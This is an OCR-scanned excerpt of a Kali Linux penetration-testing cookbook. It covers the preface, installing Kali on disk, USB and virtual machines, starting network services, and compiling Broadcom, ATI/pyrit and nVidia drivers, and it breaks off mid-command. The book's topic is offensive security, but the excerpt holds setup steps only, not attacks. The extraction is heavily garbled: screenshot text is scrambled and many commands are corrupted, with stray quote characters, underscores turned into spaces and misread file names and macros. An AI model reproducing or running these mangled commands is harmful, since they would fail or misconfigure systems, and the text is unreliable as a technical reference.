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Preface

Kali Linux is a Linux-based penetration testing arsenal that aids security professionals in
performing assessments in a purely native environment dedicated to hacking. Kali Linux is
a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and
penetration testing use. It is a successor to the popular BackTrack distribution.

Kali Linux Cookbook provides you with practical recipes featuring many popular tools that
cover the basics of a penetration test: information gathering, vulnerability identification,
exploitation, privilege escalation, and covering your tracks.

The book begins by covering the installation of Kali Linux and setting up a virtual environment
to perform your tests. We then explore recipes involving the basic principles of a penetration
test such as information gathering, vulnerability identification, and exploitation. You will learn
about privilege escalation, radio network analysis, voice over IP, password cracking, and Kali
Linux forensics.

Kali Linux Cookbook will serve as an excellent source of information for the security
professional and novice alike. The book offers detailed descriptions and example recipes
that allow you to quickly get up to speed on both Kali Linux and its usage in the penetration
testing field.

We hope you enjoy reading the book!

What this book covers

Chapter 1, Up and Running with Kali Linux, shows you how to set up Kali Linux in your testing
environment and configure Kali Linux to work within your network.

Chapter 2, Customizing Kali Linux, walks you through installing and configuring drivers
for some of the popular video and wireless cards.

Chapter 3, Advanced Testing Lab, covers tools that can be used to set up more advanced
simulations and test cases.
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Chapter 4, Information Gathering, covers tools that can be used during the information
gathering phase including Maltego and Nmap.

Chapter 5, Vulnerability Assessment, walks you through the usage of the Nessus and
OpenVAS vulnerability scanners.

Chapter 6, Exploiting Vulnerabilities, covers the use of Metasploit through attacks on
commonly used services.

Chapter 7, Escalating Privileges, explains the usage of tools such as Ettercap, SET,
and Meterpreter.

Chapter 8, Password Attacks, walks you through the use of tools to crack password hashes
and user accounts.

Chapter 9, Wireless Attacks, walks you through how to use various tools to exploit the
wireless network.

What you need for this book

The recipes presented in this book assume that you have a computer system with enough
RAM, hard drive space, and processing power to run a virtualized testing environment. Many
of the tools explained will require the use of multiple virtual machines running simultaneously.
The virtualization tools presented in Chapter 1, Up and Running with Kali Linux, will run on
most operating systems.

Who this book is for

This book is for anyone who desires to come up to speed in using some of the more popular
tools inside of the Kali Linux distribution or for use as a reference for seasoned penetration
testers. The items discussed in this book are intended to be utilized for ethical purposes only.
Attacking or gathering information on a computer network without the owner's consent could
lead to prosecution and/or conviction of a crime.

We will not take responsibility for misuse of the information contained within this book.
For this reason, we strongly suggest, and provide instructions for, setting up your own
testing environment to execute the examples contained within this book.

Conventions

In this book, you will find a number of styles of text that distinguish between different kinds
of information. Here are some examples of these styles, and an explanation of their meaning.

Code words in text are shown as follows: "Another command we can use to examine a
Windows host is snmpwalk."

—21
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Any command-line input or output is written as follows:

nmap -sP 216.27.130.162

Starting Nmap 5.61TEST4 ( http://mmap.org ) at 2012-04-27 23:30 CDT
Nmap scan report for test-target.net (216.27.130.162)
Host is up (0.00058s latency).

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

New terms and important words are shown in bold. Words that you see on the screen,
in menus or dialog boxes for example, appear in the text like this: "clicking on the Next
button moves you to the next screen".

Warnings or important notes appear in a box like this.

Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about this
book—what you liked or may have disliked. Reader feedback is important for us to develop
titles that you really get the most out of.

To send us general feedback, simply send an e-mail to feedbackepacktpub.com,
and mention the book title via the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing
or contributing to a book, see our author guide on www.packtpub.com/authors.

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to help you
to get the most from your purchase.
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Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books—maybe a mistake in the text or the
code—we would be grateful if you would report this to us. By doing so, you can save other
readers from frustration and help us improve subsequent versions of this book. If you find
any errata, please report them by visiting http: //www.packtpub.com/submit-errata,
selecting your book, clicking on the errata submission form link, and entering the details of
your errata. Once your errata are verified, your submission will be accepted and the errata will
be uploaded on our website, or added to any list of existing errata, under the Errata section
of that title. Any existing errata can be viewed by selecting your title from http://www.
packtpub.com/support.

Piracy

Piracy of copyright material on the Internet is an ongoing problem across all media. At Packt,
we take the protection of our copyright and licenses very seriously. If you come across any
illegal copies of our works, in any form, on the Internet, please provide us with the location
address or website name immediately so that we can pursue a remedy.

Please contact us at copyrightepacktpub.com with a link to the suspected
pirated material.

We appreciate your help in protecting our authors, and our ability to bring you
valuable content.

Questions

You can contact us at questions@packtpub.com if you are having a problem with any
aspect of the book, and we will do our best to address it.
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Up and Running with
Kali Linux

In this chapter, we will cover:

» Installing to a hard disk drive

» Installing to a USB drive with persistent memory
» Installing in VirtualBox

» Installing VMware Tools

» Fixing the splash screen

» Starting network services

» Setting up the wireless network

Introduction

Kali Linux, or simply Kali, is the newest Linux distribution from Offensive Security. It is the
successor to the BackTrack Linux distribution. Unlike most Linux distributions, Kali Linux is
used for the purposes of penetration testing. Penetration testing is a way of evaluating the
security of a computer system or network by simulating an attack. Throughout this book,
we will further explore some of the many tools that Kali Linux has made available.

This chapter covers the installation and setup of Kali Linux in different scenarios,
from inserting the Kali Linux DVD to configuring the network.

For all the recipes in this and the following chapters, we will use Kali Linux using GNOME
64-bit as the Window Manager (WM) flavor and architecture (http://www.Kali.org/
downloads/). The use of KDE as the WM is not covered in this book; however, you should
be able to follow the recipes without much trouble.
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Installing to a hard disk drive

The installation to a disk drive is one of the most basic operations. The achievement of this
task will let us run Kali Linux without the DVD.

Performing the steps covered in this recipe will erase your hard drive,
s making Kali Linux the primary operating system on your computer.

Getting ready

Before explaining the procedure, the following requirements need to be met:

» A minimum of 8 GB of free disk space for the Kali Linux install (although, we
recommend at least 25 GB to hold additional programs and wordlists generated
with this book)

» A minimum of 512MB of RAM

» You can download Kali Linux at http://www.kali.org/downloads/

Let's begin with the installation.

How to do it...

1. Begin by inserting the Kali Linux Live DVD in the optical drive of your computer. You
will ultimately come to the Kali Linux Live DVD Boot menu. Choose Graphical install.

~

DALY ELAIDRS

Boot menu

Live (6B6—pac)

Live (bB6-pae failsafe)
Live (forensic mode)
Install

Install with speech synthesis

Press ENTER to boot or TAB to edit a menu entry
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2. Choose your language. In this case, we chose English.

Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language:

Chinese (Simplified) - () E
Chinese (Traditional) - rh(g#)

Croatian - Hrvatski

czech - Cestina

Danish - Dansk

Dutch - Nederlands

Dzongkha - Em

(English __________Englsh |
Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - JeBogmo

German - Deutsch

Groal  EMnmcia (-]

[ L3 ;
Screenshot Go Back Continue J

3. Choose your location. In this case, we chose United States.

Select your location

The selected location will be used to set your time zone and also for example to help select the system
locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if your location is not
listed.

Country. territory or area:

Canada []
Hong Kong

India

Ireland

New Zealand

Migeria

Philippines

Singapore

South Africa

United Kingdom

Zambia

Zimbabwe

other =

| Screenshot |  GoBack Continue
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4. Choose your keyboard configuration. In this case, we chose American English.

Configure the keyboard

Keymap to use:
American English
Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian

Bulgarian (phonetic layout)
Canadian French
Canadian Multilingual

Catalan
Chinese
Craatian [~
| Screenshot | GoBack I Continue ]

5. The next section to complete is the network services section. Enter a hostname.
In this case, we entered Kali.

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

=

| screenshot | Go Back Continue
e S—
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6. Next, we have to enter a domain name. In this case, we enter kali.secureworks.
com.

Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often
something that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make
something up, but make sure you use the same domain name on all your computers.

Domain name:

kali.secureworks.com|

Screenshot Go Back [ Continue |

A

7. You will now be presented with the opportunity to choose the password for the root
user by entering a password twice.

Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.
Root password!:
[i

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

Screenshot Go Back [ Continue |

Bl
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8. Choose your timezone. In this case, we chose Eastern.

Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).
Select your time zone:

Central
Mountain
Pacific
Alaska
Hawaii
Arizona
East Indiana

Samoa

| screenshot

Go Back [ Continue I

9. We are now able to select our disk partition scheme. You will be presented with four
options. Choose Guided - use entire disk, as this allows for easy partitioning.

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

| Screenshot

Go Back Continue
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10. At this step, you will need to acknowledge that your entire disc will be erased.
Click on Continue.

Partition disks

Note that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.

Select disk to partition:

SCSI13 (0,0,0) (sda) - 17.2 GB ATA VBOX HARDDISK

| Screenshot

Go Back [ Continue ‘

11. Next, you have the option of choosing one of three partitioning schemes: All files in
one partition, Separate/home partition, or Separate/home/user/var, and/tmp
partitions. Considering Kali is being used more so for penetration testing purposes,
a separation of partitions is not needed nor required (even though this is a great

idea for your main desktop Linux distribution). In this case, choose All files in one
partition and click on Continue.

Partition disks

Selected for partitioning:
SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 17.2 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.

Partitioning scheme:

All files in one partition (recommended for new users)

Separate /home partition

Separate /home, jusr, jvar, and ftmp partitions

| screenshot

s
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12. Once you get to the screen which lets you know that changes are about to be made
to your disks, choose Yes and click on Continue. Please note that this is the final
chance to back out of having all of your data on your disc overwritten.

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCSI3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

kWn'te the changes to disks?

Screenshot

Continue |

13. Next, you will be asked if you want to connect to a network mirror. A network mirror

allows you to receive updates for Kali as they become available. In this case, we
choose Yes and click on Continue.

Configure the package manager

A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a network mirror?

) No

Screenshot

Go Back [ Continue

Sk
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14. You may skip the HTTP proxy page by clicking on Continue.

Configure the package manager

If you need to use a HTTP proxy to access the outside world, enter the proxy information here.
Otherwise, leave this blank.

The proxy information should be given in the standard form of "http://[[luserll:passl@lhostl:port]l".
HTTP proxy information (blank for none):
[

Screenshot

Go Back [ Continue |

15. Finally, you will be asked to install the GRUB boot loader to the master boot record.
Choose Yes and click on Continue.

Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?
) No

Screenshot

Go Iiack [ Continue
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16. You have now completed the installation of Kali Linux! Congratulations! Click on
Continue and the system will reboot and bring you to the login page.

Finish the installation

Installation complete
@ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot Go Back [ Continue

Installing to a USB drive with persistent

memory

Having a Kali Linux USB drive provides us with the ability to persistently save system settings
and permanently update and install new software packages onto the USB device, allowing us
to carry our own personalized Kali Linux, with us at all times.

Thanks to tools such as Win32 Disk Imager, we can create a bootable Live USB drive of a vast
majority of Linux distributions, including Kali Linux with persistent storage.

Getting ready

The following tools and preparations are needed in order to continue:

» A FAT32-formatted USB drive with a minimum capacity of 8 GB
» A KaliLinux ISO image

» Win32 Disk Imager (http://sourceforge.net/projects/win32diskimager/
files/latest/download)

» You can download Kali Linux from http://www.kali.org/downloads/




How to do it...

Let's begin the process of installing Kali Linux to a USB drive:

1. Insert a formatted/writeable USB drive:

Chapter 1

— |
S 715 GB free of 7.18 GB

2 Devices with Removable Storage (3)

W
L@ DVD RW Drive (D:)

PENDRIVE (H:)

s 4
& BD-ROM Drive ()

2. Start Win32 Disk Imager.

3. At the Image File location, click on the folder icon and select the location of the Kali
Linux DVD ISO image:

%2 Win32 Disk Imager

o= (B 3K

Image File

Copy | [J] MDS Hash:

Progress

Device

Version: 0.9 Cancel

Read Write
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4. Make sure that Space used to preserve files across reboots is set to 4096.

74 UNetbootin =R

(") Distribution == Select Distribution == - ] [== Select Version == - ]

Welcome to UNethootin, the Universal Metboot Installer. Usage:

1. Select a distribution and wersion to download from the list above, or manually specify files to
load below.
2. Select an installation type, and press OK to begin installing.

@ Diskimage 150 v | D:\Kalidinux-1.0.34336.is0 E

Space used to preserve files across reboots (Ubuntu only): = ME

Type: |USE Drive v] Drrive: [ v] [ QK ] [ Cancel ]

5. Select our USB drive and click on the OK button to start creating the bootable
USB drive.

6. The process will take some time to complete while it extracts and copies the DVD files
to the USB and installs the bootloader.
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7. When the installation is complete, we're ready to reboot the computer and boot from
the newly created Kali Linux USB drive with persistent memory:

1. Downloading Files (Done)

2. Extracting and Copying Files (Done)

3. Installing Bootloader (Done)

4, Installation Complete, Reboot (Current)

After rebooting, select the USE boot option in the BIOS boot menu.
Reboot now?

| Reboot Mow || Exit

Installing in VirtualBox

This recipe will take you through the installation of Kali Linux in a completely isolated guest
operating system within your host operating system using the well-known open source
virtualization software: VirtualBox.

Getting ready

The required prerequisites are listed as follows:

» Latest version of VirtualBox (version 4.2.16 as of the time of writing) (https://www.
virtualbox.org/wiki/Downloads).

» A copy of the Kali Linux ISO image. You can download a copy from http://www.
Kali.org/downloads/.

[}
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How to do it...

Let's begin the process of installing Kali Linux in Virtualbox:

1. Launch VirtualBox and click on New to start the Virtual Machine Wizard:

8§ Oracle VM VirtualBox Manager = =
Eils, Machine Help

{-_} Details 2| Snapshots
ettings Start Discard
Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer. The listis empty no

w because you haven't
created any virtual machines yet. B #f’ -
In order to create a new virtual machine, press the New button in the main tool bar located  £% & ’ i
at the top of the window. v

P
‘fou can press the F1 key to getinstant help, or visit www . virtualbox.org for the latest 5 :’
information and news. [!
N~
/

2. Click on the Next button, type the name of the virtual machine, and choose the 0S
type as well as the version. In this case, we selected an operating system of Linux
and Ubuntu (64 bit) as the version. Click on the Next button to continue:

83 Create Virtual Machine ?

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install
on it. The name you choose will be used throughout VirtualBox
to identify this machine,

Mame: |Kali Linu|

Type: |Linu:c ﬂ ?
a

Version: |Ubuntu (54 bit) |

Hide Description < Back | Next = | Cancel
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3. Select the amount of base memory (RAM) to be allocated to the virtual machine.
We're going to use the default value. Click on Next.

4. Create a new virtual hard disk for the new virtual machine. Click on the Next button:

o

W

Create Virtual Machine ?

Hard drive

If you wish you can add a virtual hard drive to the new
machine. You can either create a new hard drive file or select
one fram the list or from another location using the folder
icon.

If you need a more complex storage set-up you can skip this
step and make the changes to the machine settings once the
machine is created.

The recommended size of the hard drive is 8.00 GB.
(" Do not add a virtual hard drive
{* Create a virtual hard drive now

(" Use an existing virtual hard drive file

Empty J

< Back Create Cancel

5. A new wizard window will open. Leave the default VDI file type as we're not planning
to use other virtualization software.

6. We'll leave the default option as the virtual disk storage details. Click on Next

to continue.
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7. Set the virtual disk file location and size:

N

¢

Create Virtual Hard Drive ?

File location and size

Please type the name of the new virtual hard drive file into the box below or
dlick on the folder icon to select a different folder to create the file in.

| Kali Linux )
Select the size of the virtual hard drive in megabytes. This size is the limit an

the amount of file data that a virtual machine will be able to store on the hard
drive.

[ | 1 [ 1 | 1 [ 1 I/ 1 [ 1 1 1 1 IGIDD GE

4.00 MB 2.00TB

= Back | Create | Cancel

=]

Check whether the settings are correct and click on the Create button to start the
virtual disk file creation.

We're back to the previous wizard with the summary of the virtual machine
parameters. Click on Create to finish:
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sg Oracle VM VirtualBox Manager = B
File Machine Help

i [ ‘:é i
‘l‘x:} L\?r;‘ <:':} Detals (@) Snapshots

New Settings Start Discard

E| General E  preview =l
@ O Poverio N
Mame: Kali Linux
Operating System:  Ubuntu (54 bit)

System

Base Memory: 512 MB
Boot Order: Floppy, CD,/DVD-ROM, Hard Disk
Acceleration:  VT-x/AMD-V, Nested Paging

Display

Video Memary: 12 MB
Remote Desktop Server:  Disabled

a Storage

Controller: IDE |
IDE Secondary Master:  [CD/DVD] Empty

Controller: SATA
SATA Port 0: Kali Linux.vdi (Normal, 156.00 GB)

(B Audio

Host Criver:  Windows DirectSound
Controller:  ICH AC37

=P Network ﬂ

10. With the new virtual machine created, we're ready to install Kali Linux.

s
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11. On the VirtualBox main window, highlight Kali Linux and then click on the
Settings button:

i

File Machine Help

& :
New Sg Start Discard

=) cali Linux E el
‘ (™ Powered Off

MName:
Operatin|

& svi

Base Mes
Boot Ord|
Accelera

12. Now that the basic installation steps have been followed, we will proceed to allow
you to use your downloaded ISO file as a virtual disc. This will save you from having to
burn a physical DVD to complete the installation. On the Settings screen, click on the
Storage menu option:

=3 Kali Linux - Settings

,@ General Storage

Storage Tree Attribu

% Controller: IDE coy

@ Controller: SATA Inform
Iﬂ Metwork .

) Kali Linux.vdi
@ Serial Ports
& Use
A
[ Shared Folders
2 @ae
I

=
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13. Next, under Storage Tree, highlight the Empty disc icon underneath IDE Controller.
This selects our virtual CD/DVD ROM drive. To the far right of the screen, under
Attributes, click on the disc icon. In the pop up that follows, select your Kali Linux ISO
file from the list. If the Kali Linux ISO file is not present, select the Choose a virtual
CD/DVD disc file... option and locate your ISO. Once you have completed these
steps, click on the OK button:

)

System
Display
@ Storage
B Audio

@ Network
‘@ Serial Ports

7 usB

[ Shared Folders

,@, General

Kali

Storage

Storage Tree

Linux - Settings

Attributes

(& Controller: IDE

4& controller: SATA
2 Kali Linux, vdi

Information
Type:
Size:
Location:
Attached To:

@a@

Salect 2 seftings category fom the It on the left-hand side and move the mouse over 3 seffings

Jjtem fo get more informaon.

oK | Cancel | Help

CD/DVD Drive: |IDE Secondary Master v | ()

[P Choose a virtual CD/DVD disk file...

Host Drive B

Remove disk from virtual drive

14. Click on the Start button and then click inside the new window and proceed with the
installation. The installation steps are covered in the Installing to a hard disk drive
recipe of this chapter.

Installing the VirtualBox Extension Pack also allows us to extend the
functionality of the virtualization product by adding support for USB
2.0 (EHCI) devices, VirtualBox RDP, and Intel PXE boot ROM.

s




Up and Running with Kali Linux

Installing VMware Tools

In this recipe, we will demonstrate how to install Kali Linux as a virtual machine using
VMware Tools.

Getting ready

The following requirements need to be fulfilled:

» A npreviously installed Kali Linux VMware virtual machine

» AnInternet connection

How to do it...

Let's begin the process of installing Kali Linux on VMware:

1.  With your virtual machine's guest operating system powered on and connected to
the Internet, open a Terminal window and type the following command to prepare
the kernel sources:

prepare-kernel-sources

These instructions are assuming you are using either Linux or Mac OS
s machines. You will not need to perform these steps under Windows.

2. On the VMware Workstation menu bar, navigate to VM | Install VMware Tools...:

VM | Tabs Help

() Power 3
Removable Devices 3

Pauze Ctrl+Shift+P

5 Send Ctrl+Alt+Del
Grab Input Ctrl+G

Snapshot 3
Capture Screen Ctrl+Alt+PrtScn

=
LT

Capture Movie...

&~ Manage 3
Install ViMware Tools...

i Settings... Ctrl+D
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3. Copy the VMware Tools installer to a temporary location and then change the location
to the target directory:

cp /media/VMware\ Tools/VMwareTools-8.8.2-590212.tar.gz /tmp/; cd
/tmp/

% Replace the filename according to your VMware Tools version:
s VMwareTools-<version>-<builds>.tar.gz

4. Untar the installer by issuing the following command:
tar zxpf VMwareTools-8.8.2-590212.tar.gz

5. Go to the VMware Tools' directory and run the installer:
cd vmware-tools-distrib/
./vmware-install.pl

6. Press Enter to accept the default values in each configuration question; the same
applies with the vmware-config-tools.pl script.

7. Finally, reboot and we're donel

In the first step, we prepared our kernel source. Next, we virtually inserted the VMware Tools CD
into the guest operating system. Then, we created the mount point and mounted the virtual CD
drive. We copied and extracted the installer in a temporary folder and finally we ran the installer
leaving the default values.

Fixing the splash screen

The first time we boot into our newly installed Kali Linux system, we will notice that the splash
screen has disappeared. In order to manually fix it, we need to extract Initrd, modify it, and
then compress it again. Thankfully, there's an automated bash script created by Mati Aharoni
(also known as "muts", creator of Kali Linux) that makes the whole process easier.

How to do it...

To fix the disappeared splash screen, type the following command and hit Enter:

fix-splash

=]
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Starting network services

Kali Linux comes with several network services which may be useful in various situations and
are disabled by default. In this recipe, we will cover the steps to set up and start each service
using various methods.

Getting ready

The following requirement is needed in order to continue:

» A connection to the network with a valid IP address

How to do it...

Let's begin the process of starting our default service:

1. Start the Apache server:

service apache2 start
We can verify the server is running by browsing to the localhost address.

2. To start the Secure Shell (SSH) service, SSH keys need to be generated for the
first time:

sshd-generate

3. Start the Secure Shell server:

service ssh start

4. To verify the server is up and listening, use the netstat command:
netstat -tpan | grep 22

5. Start the FTP server:

service pure-ftpd start

6. To verify the FTP server, use the following command:

netstat -ant | grep 21

[ You can also use the ps-ef | grep 21 command. ]

=]
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To stop a service, just issue the following command:

service <servicename> stop

Where <servicename> stands for the network service we want to stop.
For example:

service apache2 stop

To enable a service at boot time, use the following command:

update-rc.d -f <servicename> defaults

Where <servicename> stands for the network service we want at boot time.
For example:

update-rc.d -f ssh defaults

You can also do this from the Services menu in Kali
i Linux. From the Start menu, go to Kali Linux | Services.

Setting up the wireless network

At last we come to the final recipe of this chapter. In this recipe, we will see the steps needed
to connect to our wireless network with security enabled by using Wicd Network Manager
and supplying our encryption details. Setting up our wireless network enables us to use Kali
Linux wirelessly. In a true, ethical penetration test, not having to depend on an Ethernet cable
enables us to have all of the freedoms of a regular desktop.

How to do it...

Let's begin setting up the wireless network:

1.

From the desktop, start the network manager by clicking on the Applications menu
and navigating to Internet | Wicd Network Manager or by issuing the following
command at the Terminal window:

wicd-gtk --no-tray
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2. Wicd Network Manager will open with a list of available networks:

Choose from the networks below:

GetAway 64% WPA Channel 11
[ Automatically connect to this network

L |Connect| |Properties

Not connected A

3. Click on the Properties button to specify the network details. When done, click on OK:

[ Use Static IPs

Eway

[ Use Static DNS [ Use global DN5 servers
DNS domain

ch domain

[ IBHEP H bt

[ Use these settings for all networks sharing this essid
Use Encryption

WPA 1/2 (Passphrase)

Key e0ceccccccccccce

3

Scripts || Information

| Cancel || oK

4. Finally, click on the Connect button. We're ready to go!

=]
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In this recipe, we concluded the setup of our wireless network. This recipe began by starting
the network manager and connecting to our router.

s






Customizing Kali Linux

In this chapter, we will cover:

» Preparing kernel headers

» Installing Broadcom drivers

» Installing and configuring ATl video card drivers

» Installing and configuring nVidia video card drivers

» Applying updates and configuring extra security tools
» Setting up ProxyChains

» Directory encryption

Introduction

This chapter will introduce you to the customization of Kali so you can take full advantage of it.
We will cover the installation and configuration of ATl and nVidia GPU technologies as well as
extra tools needed for later chapters. ATl and nVidia GPU-based graphic cards allow us to use
their graphics processing units (GPU) to perform calculations as opposed to the CPU. We will
conclude the chapter with the setup of ProxyChains and encryption of digital information.

Preparing kernel headers

There will occasionally be times where we'll face the need to compile code which requires
kernel headers. Kernel headers are the source code of the Linux kernel. In this first recipe,
we'll explain the steps required to prepare kernel headers for later use.
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Getting ready

An Internet connection is required to complete this recipe.

How to do it...

Let's begin the process of preparing kernel headers:

1. We begin first by updating our distribution by executing the following command:

apt-get update

) Translat

‘main Translat
‘main Translat
es/non-free Translat

’ » Translat

1ain’ Translat
1ain \Translat

2. Next, we must use apt -get again to prepare the kernel headers. Execute the
following command:

apt-get install linux-headers - “uname -r~

s will ins
ymmon Linu

install
Tinux

will

=
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3. Copy the following directory and its entire contents:
cd /usr/src/linux

cp -rf include/generated/* include/linux/

4. We're now ready to compile code that requires kernel headers.

Installing Broadcom drivers

In the following recipe, we'll perform the installation of Broadcom's official Linux hybrid

wireless driver. Using a Broadcom wireless USB adapter gives us the greatest possibility
of success in terms of getting our wireless USB access point to work on Kali. For the rest
of the recipes in this book, we will assume installation of the Broadcom wireless drivers.

Getting ready

An Internet connection is required to complete this recipe.

How to do it...

Let's begin the process of installing Broadcom drivers:

1. Open a terminal window and download the appropriate Broadcom driver from
http://www.broadcom. com/support/802.11/1linux sta.php:

cd /tmp/

wget http://www.broadcom.com/docs/linux sta/hybrid-portsrc_
x86 64-v5 100 82 1l12.tar.gz

5 100 82 112.tar.gz' saved [1175 /1175410]

s
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2.

Extract the downloaded driver using the following script:
mkdir broadcom

tar xvfz hybrid-portsrc x86 64-v5 100 82 1l12.tar.gz -C /tmp/
broadcom

Modify the wl_cfg80211.c file since there's a bug in version 5.100.82.112 that
prevents compiling the code under kernel version 2.6.39:

vim /tmp/broadcom/src/wl/sys/wl cfg8021l.c

Look at the following piece of code at line number 1814:

#if LINUX VERSION CODE > KERNEL VERSION (2, 6, 39)
Replace it with the following:

#if LINUX VERSION CODE >= KERNEL VERSION(2, 6, 39)
Save the changes.

Compile the code:
make clean
make

make install

Update the dependencies:
depmod -a

Find loaded modules by issuing the following:
lsmod | grep b43\|ssb\|bcma

Remove the modules found by executing the following command:

rmmod <module>b43
Where <module> could be b43 or ssb or bcma.

Blacklist the modules to prevent them from loading at system startup:
echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf

Where <module> could be b43 or ssb or bcma or wl.

Finally, add the new module to the Linux Kernel to make it a part of the boot process:

modprobe wl
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Installing and configuring ATI video card

drivers

In this recipe, we'll go into the details for installing and configuring the ATI video card drivers
followed by the AMD Accelerated Parallel Processing (APP) SDK, OpenCL, and CAL++.
Taking advantage of the ATl Stream technology, we can run computationally-intensive
tasks—typically running on the CPU—that perform more quickly and efficiently. For more
detailed information regarding the ATl Stream technology, visit www.amd . com/stream.

Getting ready

An Internet connection is required to complete this recipe. The preparation of kernel headers
is also needed before starting this task, which is explained in the Preparing kernel headers
recipe at the beginning of this chapter.

How to do it...

Let's begin installing and configuring the ATI drivers:

1. Download the ATI display driver required for your system:
cd /tmp/
wget http://www2.ati.com/drivers/linux/amd-driver-installer-12-

1-x86.x86 64.run

We can also download the display driver from the following site: http://support.
amd.com/us/gpudownload/Pages/index.aspx.

22:48:07 (1.73 MB/s) - “amd-driver-installer-12-1-x

/tmp#

s
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2.

Start the installation by typing the following command:

sh amd-driver-installer-12-1-x86.x86_64.run

* AMD Catalyst(TM) Proprietary Driver 8.93 Setup

Options
~ |nstall Driver 8.93 on X.0rg 6.9 or later 64-bit

~ Generate Distribution Specific Driver Package

When the setup completes, reboot your system for the changes to take effect
and to prevent system instability.

Install the dependencies needed for further steps:

apt-get install libroot-python-dev libboost-python-dev
libboostl.40-all-dev cmake

Download and untar the AMD APP SDK according to your CPU architecture:

wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6-1nx64.tgz
mkdir AMD-APP-SDK-v2.6-1nx64

tar zxvf AMD-APP-SDK-v2.6-1nx64.tgz -C /tmp/AMD-APP-SDK-v2.6-1nx64
cd AMD-APP-SDK-v2.6-1nx64

Install the AMD APP SDK by issuing the following command:
sh Install-AMD-APP.sh

Set the ATl Stream paths in the .bashrc file:
echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc

source ~/.bashrc

NEQ
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10.

11.

Download and compile calpp:

cd /tmp/

svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp
cd calpp/trunk

cmake

make

make install

Download and compile pyrit:

cd /tmp/

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit src
cd pyrit src/pyrit

python setup.py build

python setup.py install

Build and install OpenCL:

cd /tmp/pyrit src/cpyrit opencl
python setup.py build

python setup.py install

Make a few changes to the cpyrit calpp setup:
cd /tmp/pyrit source/cpyrit calpp
vi setup.py

Look at the following line:

VERSION = '0.4.0-dev'

Replace it with:

VERSION = '0.4.1-dev'

Also, look at the following line:

CALPP_INC DIRS.append(os.path.join(CALPP_INC DIR, 'include'))
Replace it with:

CALPP_INC DIRS.append(os.path.join (CALPP INC DIR, 'include/CAL'))

Eis
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12. Finally, add the ATI GPU module to pyrit:

python setup.py build
python setup.py install

To show the available CAL++ devices and CPU cores, we issue the following
command:

pyrit list cores
e

To perform a benchmark, we simply type:
pyrit benchmark

Installing and configuring nVidia video

card drivers

In this recipe, we will embrace Compute Unified Device Architecture (CUDA), the nVidia
parallel computing architecture. The first step will be the installation of the nVidia developer
display driver followed by the installation of the CUDA toolkit. This will give us dramatic
increases in computer performance with the power of the GPU which will be used in
scenarios like password cracking.

For more information about CUDA, please visit their website at

http://www.nvidia.com/object/cuda home new.

html.

Getting ready

An Internet connection is required to complete this recipe.

The preparation of kernel headers is needed before starting this task, which is explained
in the Preparing kernel headers recipe at the beginning of this chapter.

In order to accomplish the installation of the nVidia driver, the X session needs to
be shut down.

How to do it...

Let's begin the process of installing and configuring the nVidia video card drivers:

1. Download the nVidia developer display driver according to your CPU architecture:
cd /tmp/

wget http://developer.download.nvidia.com/compute/cuda/4 1/rel/
drivers/NVIDIA-Linux-x86 64-285.05.33.run
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oad.nvidia

eta 4m 16s

Install the driver:

chmod +x NVIDIA-Linux-x86 64-285.05.33.run

./NVIDIA-Linux-x86 64-285.05.33.run -kernel-source-path='/usr/src/
linux'

Download the CUDA toolkit:

wget http://developer.download.nvidia.com/compute/cuda/4 1/rel/
